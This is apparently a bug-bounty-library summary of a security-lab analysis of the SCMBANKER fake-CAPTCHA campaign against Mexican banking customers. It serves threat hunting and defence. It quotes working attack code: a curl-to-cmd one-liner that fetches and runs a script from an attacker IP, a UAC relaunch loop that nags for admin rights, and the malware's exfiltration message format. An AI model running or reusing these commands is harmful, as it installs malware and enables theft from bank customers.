# ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit

ClickFix fake-CAPTCHA pages install SCMBANKER PowerShell toolkit on Mexican banking customers, enabling operator-assisted session hijack, vishing overlays, clipboard CLABE/card swaps and RAT access.

- Payout: Real-world hack
- Severity: high
- Program: Mexican banks
- Analysis by: Jia Yu Chan, Salim Bitam
- Disclosed: 2026-07-08
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/mexican-banking-fraud-scmbanker-ref6045
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-mexican-banking-fraud-scmbanker-ref6045
- Tags: area:os domain:desktop impact:ato impact:funds-loss kind:incident platform:threat-intel sev:high tech:windows technique:chained technique:default-creds vuln:command-injection vuln:info-disclosure vuln:misconfiguration

**Target:** Windows endpoints of banking customers via fake CAPTCHA pages and PowerShell toolkit
**Root cause:** Fake CAPTCHA pages socially engineer victims into pasting a curl|cmd command that downloads a batch script; the script elevates via UAC consent fatigue, locks the cursor, and stages a modular PowerShell toolkit with registry/startup persistence.
**Steps:**
1. Victim visits ClickFix page (e.g. monteviral2026.duckdns.org) with Spanish image CAPTCHA, then Windows Run instructions.
2. Page copies `cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit # CIoudfIare Google Verificación Segura (Version 2025.5755)` to clipboard.
3. validation.txt batch launches `start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen` as decoy.
4. Script loops `net session` check and relaunches itself with `-Verb RunAs` every 20s until admin granted.
5. P/Invoke user32.dll!ClipCursor confines mouse to 1x1 pixel; bitsadmin pulls toolkit modules to C:\Users\Public\.
6. Persistence via HKCU Run key 'run' and run.vbs in Startup folders; `shutdown /r /t 02` forces reboot to trigger.
7. run.vbs launches modules: cliente.ps1 beacon, ini.ps1 (delayed launcher for jujuzkt.ps1 bank monitor), rotor2.ps1 (rotator for mensaje1.ps1 vishing), clip.ps1/clip2.ps1 clipboard hijack, avs.ps1 RAT installer.
8. Bank monitor polls window titles every second against listadebancos.txt, POSTs alert to avisos2.php, spawns rotor1.ps1/screen2.ps1 for ~42 screenshots to imagenes.php.
9. Operator pushes MSI URL via comando.txt; avs.ps1/instaler.ps1 silently install Remote Utilities Host, and remoto.ps1 imports registry blob for auto-connect on port 5650 and deletes UninstallString.
**How found:** Telemetry flagged bitsadmin downloading PowerShell from an open directory at 68.211.161[.]46/files/; directory listing plus leaked zkt.zip web-root archive exposed full toolkit, and an unauthenticated /b/editor.php revealed live targeting config.
**Exploitation:** Operator monitors infected hosts via C2 dashboard, triggers vishing lock-screen overlays (mensaje.ps1/mensajeoff.ps1) mapped by victim public IP, redirects browsers to phishing pages via clipboard paste (Ctrl+L/Ctrl+V/Enter), swaps CLABE/card numbers in clipboard to attacker accounts, and installs Remote Utilities for hands-on takeover to complete fraudulent transfers.
**Escalation:** Per-victim IP-gated activation: passive beaconing escalates to screenshots, vishing lockdown, phishing redirect, clipboard swap, or full RAT depending on operator judgment.
**Insight:** Hunt for ClickFix chains by pivoting on bitsadmin jobs writing to C:\Users\Public\ and on curl|cmd one-liners in Run dialogs; exposed C2 panels with unauthenticated editor.php and open /files directories often leak the entire toolkit and targeting lists.

## Proof of concept (copied exactly from the original report)

**ClickFix command piping validation.txt into cmd.exe**

```
cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit # CIoudfIare Google Verificación Segura (Version 2025.5755)
```

**UAC consent-fatigue relaunch loop**

```
:check
net session >nul 2>&1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 >nul
goto check
```

**Banking-session alert POST payload format**

```
mensaje = "<window title>
Detected C0incidence: '<keyword>'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: <hostname>
Cliente desde: <id>
Client ID: <clientId>
IP: <public_ip>
Navegador: <process_name>
<current timestamp>"
clientId = <clientId>
```